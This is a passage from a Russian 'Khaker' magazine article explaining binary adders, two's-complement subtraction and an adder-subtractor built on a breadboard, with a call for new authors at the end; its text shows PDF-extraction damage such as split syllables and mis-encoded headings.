С помощью одно бит ного сум матора мож но соз давать сум маторы на любое
количес тво битов, прос то ком бинируя их. Сум маторов надо взять столь ко,
сколь ко раз рядов в скла дыва емых чис лах. На рисун ке показан спо соб соеди -
нения сум маторов для четырех разряд ного сум матора. Такое устрой ство
называ ется парал лель ным сум матором, ведь все биты сла гаемых на вхо ды
пода ются одновре мен но, бук валь но парал лель но.

Че тырех разряд ный сум матор

На рисун ке есть  — мно гобит ные сиг налы. Они обоз нача ются
при помощи квад ратных ско бок, в которых через дво ето чие записа ны стар ший
и млад ший бит, нап ример A[3:0], B[3:0].

ши ны

INFO

В англо языч ной литера туре шина называ ется
bus, что логич но, ведь мно го оди нако вых про вод -
ников соб раны вмес те, как пас сажиры в авто бусе.
А вот наз вание «шина», ско рее все го, про изош ло
от немец кого сло ва schiene (рельс).

На вхо ды показан ного на схе ме сум матора пода ются два сла гаемых
по четырех разряд ным шинам A[3:0] и B[3:0]. Выход ная шина сум мы здесь
обоз начена Σ[3:0]. Внут ри схе мы каж дый из сиг налов побит но при ходит
на отве ден ный ему пол ный сум матор, который объ еди нен со сле дующим
полусум матором через сиг нал перено са. Такую схе му при необ ходимос ти лег -
ко дорас тить до тре буемой раз ряднос ти.

Па рал лель ный сум матор — устрой ство прос тое, и его быс тро дей ствие
невысо ко. Бит перено са все го сум матора СО соз дает ся при пос ледова тель -
ном про хож дении сиг налов от млад шего зна чаще го раз ряда к стар шему.
Таким обра зом, задер жка будет опре делять ся дли ной всей этой цепоч ки.
Поэто му парал лель ную схе му при меня ют нечас то. Но для наших целей
это более удоб ный вари ант, чем прод винутые и быс трые, но слож ные алго рит -
мы.

Óíèâåðñàëüíûé ñóììàòîð-âû÷èòàòåëü

Ана логич но сум матору мож но соз дать дво ичный вычита тель. Отли чие в том,
что вмес то бита перено са в стар ший раз ряд в вычита теле есть бит зай ма. Все
так же, как при вычита нии в стол бик на матема тике: ста вим точ ку над более
стар шим раз рядом, что бы занять еди ницу, если в пре дыду щем раз ряде
вычита емое было боль ше умень шаемо го.

Что бы не городить отдель ный вычита тель, мы можем вос поль зовать ся
вычита нием через при бав ление отри цатель ного чис ла. Думаю, ты пом нишь,
как дела ются отри цатель ные дво ичные чис ла: добав ляем сле ва один бит, если
он равен нулю, то все пос леду ющие биты кодиру ют положи тель ное чис ло,
а если еди нице, то отри цатель ные. Биты отри цатель ных чисел инверти руют ся.

Нап ример, +1 будет записа но как 001, а –1 находит ся как его инверсия
плюс еди ница: . Из положи тель ной двой ки  получит ся
–2 точ но таким же обра зом: 

110 + 1 = 111 +2 = 010
101 + 1 = 110

Те перь раз берем непос редс твен но вычита ние с помощью допол нитель ного
кода. Возь мем при мер . Вось мер ка, четырех битное чис ло с пятым зна -
ковым, будет 01000, а –5 в таком же фор мате — . Скла -

дыва ем эти два чис ла и получа ем:

8 – 5
11010 + 1 = 11011

01000 + 11011 = 00011

Ре зуль татом будет +3, как и дол жно быть. Теперь поп робу ем из 5 вычесть 8:

00101 + 11000 = 11101

Ре зуль тат — это допол нитель ный код чис ла –3, так что все пра виль но.

Схе ма двух битно го сум матора-вычита теля

На рисун ке свер ху изоб ражена схе ма уни вер саль ного сум матора-вычита теля,
исполь зующе го допол нитель ный код. Вход MODE в ней слу жит перек лючате -
лем режимов. Если его зна чение рав но логичес кому нулю, то вся схе ма
работа ет как сум матор.

Сиг налы на выходах B[0] и B[1] допол нитель ных эле мен тов исклю чающее
ИЛИ (на схе ме они сле ва от пол ных сум маторов) будут, соот ветс твен но, сов -
падать с сиг налами на вхо дах С[0] и C[1].

То же самое будет и с выходом СО пол ного сум матора (сни зу на схе ме),
про ходя щего через свое исклю чающее ИЛИ. Таким обра зом, выход S в этом
режиме про дол жит работать как бит перено са.

Ес ли же на MODE подать логичес кую еди ницу, то добав ленные вен тили
исклю чающее ИЛИ инверти руют шины C[1:0] и к резуль тату инверсии будет
при бав лена еди ница, попада ющая со вхо да MODE на вход CI пер вого пол ного
сум матора. Это зна чит, что теперь шина A[1:0] зада ет умень шаемое, а шина
C[1:0] — вычита емое, которое внут ри схе мы пре обра зует ся в отри цатель ное
чис ло для сло жения с умень шаемым на этом же сум маторе. А выход CO ниж -
него сум матора будет играть роль зна ково го бита в допол нитель ном коде.
В ито ге все очень удоб но: один и тот же сиг нал исполь зует ся и для перек -
лючения режимов работы, и для пре обра зова ния чис ла в допол нитель ный код.

Óìíîæèòåëè

Пе рехо дим к умно жению. Как умно жать в дво ичной сис теме, мы уже разоб -
рались, оста лось понять, как сде лать умно житель из сум матора. Для это го
нуж но один из мно жите лей побит но сдви гать вле во и, если соот ветс тву ющий
бит вто рого мно жите ля равен еди нице, при бав лять сдви нутый пер вый мно -
житель к час тичной сум ме. Если же бит равен нулю, то при бав ление про пус -
кает ся. Это не единс твен ная схе ма умно жения, но такое сло жение со сдви гом
доволь но эффектив но.

Од нако умно житель я здесь при вел прос то как при мер АЛУ, собирать мы
его сегод ня не будем. Перед этим еще понадо бит ся разоб рать схе мы вре мен -
ного хра нения про межу точ ных резуль татов для час тичных сумм и реали зацию
побито вого сдви га, а это тема для отдель ной статьи.

Ïåðåõîäèì ê ÀËÓ

Итак, на базе сум матора с раз ными допол нитель ными бло ками в мик росхе мах
соз дает ся ариф метико-логичес кое устрой ство, то есть вычис литель ное ядро
про цес сора.

Обоз начение АЛУ

На этой схе ме есть нес коль ко вхо дов, зада ющих выпол няемую опе рацию,
такую как сло жение, умно жение и так далее, а так же опе ран ды, над которы ми
эта опе рация выпол няет ся. Так же у АЛУ есть фла ги — пос тупа ющие и выходя -
щие из него слу жеб ные сиг налы, которые допол няют или уточ няют то или иное
выпол няемое дей ствие.

Раз рядность опе ран дов обоз начена на схе ме крас ной чер той, которая
пересе кает обоз начение вхо да. Рядом с чер той записы вает ся количес тво раз -
рядов.

ÑÎÁÈÐÀÅÌ ÀËÓ

От слов к делу. Берем в руки макет ную пла ту, мик росхе мы, про вод ки, хорошее
нас тро ение — и впе ред!

Îäíîáèòíûé ïîëíûé ñóììàòîð

Нач нем с самого прос того — одно бит ного пол ного сум матора. Еще раз взгля -
ни на его схе му. Исполь зуя зна ния о мик росхе мах из , прев -
ратим ее в прин ципи аль ную схе му устрой ства, по которой уже мож но собирать
сум матор.

статьи про них

На макет ной пла те схе ма будет выг лядеть так.

Од нобит ный сум матор на макет ной пла те

Нам пот ребу ется все го две мик росхе мы:  и . На схе ме
есть два све тоди ода. Вер хний све тоди од показы вает зна чение бита сум мы,
а ниж ний — бита перено са. Горящий све тоди од равен еди нице, не горящий —
нулю.

CD4070BE CD4011BE

Äâóõáèòíûé ñóììàòîð

Те перь давай на осно ве прош лой схе мы соберем двух битный сум матор.
В нашем исполне нии один раз ряд будет пол ностью пов торять вто рой. Пер вые
два пол зунка перек лючате ля исполь зуют ся, что бы задавать зна чение сла -
гаемо го A[1:0], а два пос ледних — сла гаемо го B[1:0].

На ибо лее кор рек тно рас полагать биты в перек лючате лях, сум маторах
и инди като рах так же, как и в чис лах: что бы млад ший раз ряд был сле ва, а стар -
ший — спра ва. На схе ме синими про вода ми показа ны под клю чения внут ри
пол ных сум маторов, а зелены ми — инди катор ные свя зи. Корич невый про вод
соеди няет выход ной бит перено са нулево го раз ряда с вход ным перено сом
пер вого. CI берет ся не с перек лючате ля, а пря мо с нуж ной шины питания.

Двух битный сум матор на макет ной пла те

Óíèâåðñàëüíûé ñóììàòîð-âû÷èòàòåëü

Да вай теперь перера бота ем пре дыду щую схе му в сум матор-вычита тель, осно -
выва ясь непос редс твен но на его логичес кой схе ме. Исполь зуем оставши еся
в мик росхе ме CD4070BE вен тили исклю чающе го ИЛИ и нем ного поменя ем
рас положе ние про водов.

Сум матор-вычита тель на макет ной пла те

Здесь ниж ний све тоди од в режиме вычита ния показы вает знак чис ла, получив -
шегося в резуль тате вычис ления.

ÂÛÂÎÄÛ

Се год ня мы наконец разоб рали осно ву всей циф ровой элек тро ники — ариф -
метико-логичес кие устрой ства. Дораба тывая сум матор, мы смо жем получить
новые АЛУ. В сле дующих стать ях мы изу чим дру гие важ ные бло ки, которые
вмес те сос тавля ют про цес сор компь юте ра.
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СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции
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